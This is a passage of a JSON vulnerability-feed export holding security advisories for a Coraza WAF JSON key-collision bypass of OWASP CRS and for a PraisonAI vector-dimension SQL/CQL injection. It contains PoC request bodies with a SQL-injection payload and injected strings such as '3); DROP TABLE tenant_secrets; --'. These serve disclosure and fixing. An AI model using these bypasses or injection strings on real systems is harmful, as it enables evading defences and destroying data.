collision:\n\n```text\nNested property:       {\"account\":{\"role\":\"ATTACK\"}}\nGenerated Coraza key:  json.account.role\n\nLiteral dotted key:    {\"account.role\":\"SAFE\"}\nGenerated Coraza key:  json.account.role\n```\n\nBecause both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary `ARGS_POST` collection.\n\n`ProcessRequest` subsequently copies only the final map entries into `ARGS_POST`:\n\n```go\ndata, err := readJSON(ss, bpo.RequestBodyRecursionLimit)\nfor key, value := range data {\n    col.SetIndex(key, 0, value)\n}\n```\n\nSource: [`internal/bodyprocessors/json.go`, lines 29-39](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/json.go#L29-L39).\n\nThe JSON remains valid, so Coraza does not set `REQBODY_ERROR`. A normal backend parser does not flatten property names and therefore keeps the nested `account.role` value separate from the literal top-level `\"account.role\"` property.\n\nCoraza's [recommended configuration enables JSON processing](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/coraza.conf-recommended#L20-L45), and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.\n\nThe bypass was reproduced against CRS v4.25 under all of the following configurations:\n\n- Default build\n- `coraza.no_memoize`\n- `coraza.rule.multiphase_evaluation`\n- `coraza.rule.no_regex_multiline`\n\n### PoC\n\nThe PoC uses Coraza's existing CRS regression module and its pinned `github.com/corazawaf/coraza-coreruleset/v4` dependency. It proves three facts:\n\n1. CRS blocks the malicious nested value when no collision exists.\n2. The dotted decoy makes the same CRS configuration permit the request.\n3. Go's standard JSON parser still exposes the malicious nested value to the backend.\n\n1.

Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.\n\nThe primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:\n\n- SQL injection payloads\n- operating-system command injection payloads\n- cross-site scripting payloads\n- server-side template injection payloads\n- path traversal and local-file-inclusion payloads\n- language- or framework-specific exploit strings\n- forbidden application values inspected by custom SecLang rules\n\nThe PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.\n\nApplications that deserialize nested JSON objects are impacted. For example, Node.js applications using `JSON.parse` or JSON middleware and Go applications using `encoding/json` preserve the nested malicious value separately from the literal dotted property.\n\nThe final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.\n\nThe remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection\n\n## Follow-up (2026-09-30): case-folding variant still overwrites values\n\nThe \"Resolution\" section above states values are copied into\n`ARGS_POST`/`RESPONSE_ARGS` via `SetIndex(key, i, value)` so that a colliding\nkey becomes a multi-valued collection entry. That closes the collision this\nadvisory originally reported (two flattened keys with byte-identical text),\nbut a second, distinct collision shares the exact same failure mode and was\nfound while verifying the fix.\n\n### Root cause\n\n`ARGS_POST` is case-insensitive by default (case-sensitive only under the\n`coraza.rule.case_sensitive_args_keys` build tag), and `RESPONSE_ARGS` is\n*always* case-insensitive regardless of that tag\n(`internal/corazawaf/transaction.go:1929`). Two flattened keys that differ\nonly by case -- `json.account.role` vs `json.account.Role` -- are distinct\nentries in `readJSON`'s own case-sensitive intermediate map\n(`map[string][]string`), but fold to the *same* collection bucket once\nwritten through `SetIndex`:\n\n```go\n// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse\nfor key, values := range data {\n    for i, value := range values {\n        col.SetIndex(key, i, value)\n    }\n}\n```\n\nEach `SetIndex(key, i, value)` call addresses index `i` of whatever bucket\n`key` case-folds to, with no knowledge that a different-cased key is also\nwriting to that same bucket. Iteration order over `data` (a plain Go map) is\nrandomized, so whichever of the two keys is visited *second* overwrites\nindex 0 of whichever was visited *first* -- deterministically leaving\nexactly one survivor every single request, just an unpredictable one.\n\n### PoC\n\n```json\n{\"account\":{\"role\":\"1' OR '1'='1\",\"Role\":\"safe\"}}\n```\n\nOver 200 trials of `readJSON` + `SetIndex` against this body, the attack\nvalue (`1' OR '1'='1`) survived only 22 times (11%); the harmless value\n(`safe`) silently replaced it the other 178 times. With CRS v4.25 and the\nrecommended configuration, an equivalent SQLi rule blocked only 8/100\nrequests with one decoy key and 14/100 with seven decoy keys planted at\ndifferent case variants -- both Node.js and Python's JSON parsers keep\n`role = \"1' OR '1'='1\"` in every case, so this is a real bypass, not a\nparser-disagreement edge case. `RESPONSE_ARGS` is affected identically, and\nremains affected even when Coraza is built with\n`coraza.rule.case_sensitive_args_keys`, since that tag does not change\n`RESPONSE_ARGS`'s case-insensitivity.\n\n### Fix\n\nUse `col.Add(key, value)` instead of `col.SetIndex(key, i, value)`. `Add`\nalways appends regardless of any index, so both a same-case collision (this\nadvisory's original case: one `data` key holding an ordered slice of values)\nand a case-folding collision (two different `data` keys landing in the same\nbucket) end up with every value preserved. The existing regression test for\nthe original collision\n(`TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`, which asserts a\nspecific value order) still passes unchanged, since a single `data` key's\nown value order is unaffected by switching from indexed writes to appends. A\nnew `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue` (order\nindependent, since the two colliding values now come from different `data`\nkeys whose relative processing order is randomized) fails deterministically\nagainst the pre-fix code (asserts 2 values, gets 1, every run) and passes\nafter the fix.\n\nFull suite, build-tag matrix (`coraza.no_memoize`,\n`coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`,\n`coraza.rule.case_sensitive_args_keys`), and `testing/coreruleset` CRS\nregression suite all pass. ADR-0058 has been amended with the same\nfollow-up note (still `proposed`, so amending in place is appropriate rather\nthan superseding it).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape (including the CRS block-rate figures) were supplied by the\n  reporter as an existing written finding; Claude Sonnet 5 independently\n  re-derived the root cause by reading the current source\n  (`internal/bodyprocessors/json.go`, `internal/collections/map.go`),\n  reproduced the overwrite empirically (200-trial measurement against\n  commit `19b86824`), verified the fix closes the gap, and drafted this\n  addendum and the ADR-0058 amendment.\n- **Review performed:** reproduced by hand against a clean checkout of\n  commit `19b86824` before and after the fix, confirming the pre-fix code\n  always yields exactly one survivor (never both, never neither) and the\n  post-fix code always yields both; added and ran\n  `TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue`, confirmed it\n  fails against the pre-fix code and passes against the fix, and confirmed\n  the pre-existing `TestJSONProcessRequestDottedKeyDoesNotHideNestedValue`\n  (order-sensitive) still passes unchanged; ran the full test suite, the\n  build-tag matrix, and the `testing/coreruleset` CRS regression suite, all\n  green; reviewed by a human maintainer (fzipi) before this addendum was\n  submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (`role` / `Role`) no longer overwrite each other in `ARGS_POST` and `RESPONSE_ARGS`, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (`S:U/I:H`, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.0, < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-5gj4-9gm7-2fx2","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2","type":"advisory","title":"OSV GHSA-5gj4-9gm7-2fx2"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-5gj4-9gm7-2fx2","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/52af139cab5ad10c5cb0152a161063b523907bdf","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/5f577a548aeb9ca836122df4258f93ef6cfab38a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:45:31.000Z","addedAt":"2026-10-08T18:42:42.103Z","updatedAt":"2026-10-08T18:42:42.103Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-5gj4-9gm7-2fx2"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-5gj4-9gm7-2fx2"}]},{"id":"6256fc40-a5db-4afe-a317-24c4cd23a6c3","slug":"mal-2026-17700","externalId":"MAL-2026-17700","source":"OSV","sourceType":"osv","type":"vulnerability","title":"Malicious code in dransay (npm)","description":"---\n_-= Per source details.

A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.\n\n## Technical Details\n\nThe affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.\n\n`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name=\"schema\")`, and `_table_name()` calls `validate_identifier(collection, name=\"collection name\")` before returning `f\"{self.schema}.praison_vec_{collection}\"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:\n\n```python\ncur.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {table} (\n        id VARCHAR(255) PRIMARY KEY,\n        content TEXT,\n        content_hash VARCHAR(64),\n        created_at DOUBLE PRECISION,\n        metadata JSONB,\n        embedding vector({dimension})\n    )\n\"\"\")\n```\n\nNo equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.\n\n`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:\n\n```python\nself._session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {name} (\n        id text PRIMARY KEY,\n        content text,\n        content_hash text,\n        created_at double,\n        embedding vector<float, {dimension}>\n    )\n\"\"\")\n```\n\nPassing a string such as `3>; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.\n\n## PoV\n\nThis minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for vector-store dimension DDL interpolation.\n\nThe script imports PraisonAI's current source with fake PostgreSQL/Cassandra\ndrivers, then records the SQL/CQL sent to the driver cursors. No database server\nis required; the assertion is that the real classes build executable DDL with an\nattacker-controlled dimension string.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport importlib\nimport json\nimport subprocess\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass SqlRecorder:\n    def __init__(self) -> None:\n        self.statements: list[dict[str, Any]] = []\n\n    def execute(self, statement: str, params: Any = None) -> None:\n        normalized = \"\\n\".join(line.rstrip() for line in statement.strip().splitlines())\n        self.statements.append({\"statement\": normalized, \"params\": params})\n\n    def __enter__(self) -> \"SqlRecorder\":\n        return self\n\n    def __exit__(self, *_exc: object) -> None:\n        return None\n\n\nclass FakeConnection:\n    def __init__(self, recorder: SqlRecorder) -> None:\n        self.recorder = recorder\n\n    def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:\n        return self.recorder\n\n    def commit(self) -> None:\n        return None\n\n\nclass FakePool:\n    def __init__(self, recorder: SqlRecorder) -> None:\n        self.conn = FakeConnection(recorder)\n\n    def getconn(self) -> FakeConnection:\n        return self.conn\n\n    def putconn(self, _conn: FakeConnection) -> None:\n        return None\n\n    def closeall(self) -> None:\n        return None\n\n\nclass FakeCassandraSession:\n    def __init__(self, recorder: SqlRecorder) -> None:\n        self.recorder = recorder\n        self.keyspace: str | None = None\n\n    def execute(self, statement: str, params: Any = None) -> list[Any]:\n        self.recorder.execute(statement, params)\n        return []\n\n    def set_keyspace(self, keyspace: str) -> None:\n        self.keyspace = keyspace\n\n\nclass FakeCluster:\n    recorder: SqlRecorder\n\n    def __init__(self, *_args: Any, **_kwargs: Any) -> None:\n        self.session = FakeCassandraSession(self.recorder)\n\n    def connect(self) -> FakeCassandraSession:\n        return self.session\n\n    def shutdown(self) -> None:\n        return None\n\n\ndef install_fake_pg_driver(recorder: SqlRecorder) -> None:\n    psycopg2 = types.ModuleType(\"psycopg2\")\n    pool = types.ModuleType(\"psycopg2.pool\")\n    extras = types.ModuleType(\"psycopg2.extras\")\n\n    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]\n    extras.RealDictCursor = object  # type: ignore[attr-defined]\n    psycopg2.pool = pool  # type: ignore[attr-defined]\n    psycopg2.extras = extras  # type: ignore[attr-defined]\n\n    sys.modules[\"psycopg2\"] = psycopg2\n    sys.modules[\"psycopg2.pool\"] = pool\n    sys.modules[\"psycopg2.extras\"] = extras\n\n\ndef install_fake_cassandra_driver(recorder: SqlRecorder) -> None:\n    cassandra = types.ModuleType(\"cassandra\")\n    cluster = types.ModuleType(\"cassandra.cluster\")\n    auth = types.ModuleType(\"cassandra.auth\")\n\n    FakeCluster.recorder = recorder\n    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]\n    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]\n\n    sys.modules[\"cassandra\"] = cassandra\n    sys.modules[\"cassandra.cluster\"] = cluster\n    sys.modules[\"cassandra.auth\"] = auth\n\n\ndef git_value(source_root: Path, *args: str) -> str:\n    return subprocess.check_output([\"git\", *args], cwd=source_root, text=True).strip()\n\n\ndef try_invalid_collection(store: Any) -> str:\n    try:\n        store.create_collection(\"docs;

Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.\n\n## Suggested Fix\n\nValidate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:\n\n```python\ndef validate_vector_dimension(value: object) -> int:\n    if isinstance(value, bool) or not isinstance(value, int):\n        raise ValueError(\"dimension must be an integer\")\n    if value <= 0 or value > 200000:\n        raise ValueError(\"dimension is outside the supported range\")\n    return value\n```\n\nUse the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3>; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.\n\n## Affected Package/Versions\n\nAffected package: `praisonai`.\n\nThe source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai >= 3.10.0, <= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.\n\n## Advisory History\n\nRepository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, \"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries\". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector<float, {dimension}>`, and the issue remains after the identifier hardening.\n\nOther checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.\n\n## References\n\n- `src/praisonai/praisonai/persistence/knowledge/pgvector.py`\n- `src/praisonai/praisonai/persistence/knowledge/cassandra.py`\n- `src/praisonai/praisonai/persistence/knowledge/base.py`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`","cveId":"CVE-2026-60090","cvssScore":null,"cvssVector":null,"severity":"medium","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-89","CWE-943"],"tags":["osv","osv:ghsa-wf65-4jjx-q444","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-wf65-4jjx-q444","type":"advisory","title":"OSV GHSA-wf65-4jjx-q444"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60090","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension","type":"other","title":"OSV web"}],"epssScore":0.00702,"epssPercentile":0.51797,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:17:01.000Z","addedAt":"2026-10-08T18:42:42.171Z","updatedAt":"2026-10-08T18:42:42.171Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60090","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-60090","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-wf65-4jjx-q444"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-wf65-4jjx-q444"}]},{"id":"1cffccf6-286a-45a5-b507-068e9a8f7835","slug":"mal-2026-17698","externalId":"MAL-2026-17698","source":"OSV","sourceType":"osv","type":"vulnerability","title":"Malicious code in @dransay/phone-fix-test (npm)","description":"---\n_-= Per source details.
